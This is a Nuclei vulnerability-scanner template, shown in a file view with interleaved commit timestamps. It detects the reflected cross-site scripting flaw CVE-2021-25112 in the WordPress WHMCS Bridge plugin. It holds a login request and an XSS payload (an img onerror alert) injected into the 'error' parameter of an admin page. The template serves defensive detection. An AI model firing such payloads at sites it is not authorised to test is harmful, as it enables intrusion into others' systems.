nuclei-templates/http/cves/2021/CVE-2021-25112.yaml

61 lines
2.0 KiB
YAML
Raw Normal View History

id: CVE-2021-25112
info:
name: WordPress WHMCS Bridge <6.4b - Cross-Site Scripting
author: dhiyaneshDk
severity: medium
2022-08-10 08:34:09 +00:00
description: |
WordPress WHMCS Bridge plugin before 6.4b contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the error parameter before outputting it back in the admin dashboard.
2023-09-06 12:09:01 +00:00
remediation: |
Update WordPress WHMCS Bridge to version 6.4b or later to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/4aae2dd9-8d51-4633-91bc-ddb53ca3471c
- https://plugins.trac.wordpress.org/changeset/2659751
- https://nvd.nist.gov/vuln/detail/CVE-2021-25112
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25112
cwe-id: CWE-79
2023-10-14 11:27:55 +00:00
epss-score: 0.001
epss-percentile: 0.41043
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:i-plugins:whmcs_bridge:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: i-plugins
product: whmcs_bridge
2023-09-06 12:09:01 +00:00
framework: wordpress
2023-07-11 19:49:27 +00:00
tags: whmcs,xss,wpscan,wordpress,wp-plugin,wp,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
2023-07-11 19:49:27 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<strong><img src onerror=alert(document.domain)></strong>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a004830460221008e26579d7a73fdc177767fe1ca33023703a2e25dd92b4eec49a693eaab443b54022100ff9ab0c1df8eb51865c9ca1eac9ef96d71aa10a6531f4f621d3d30bf21c5e02d:922c64590222798bb761d5b6d8e72950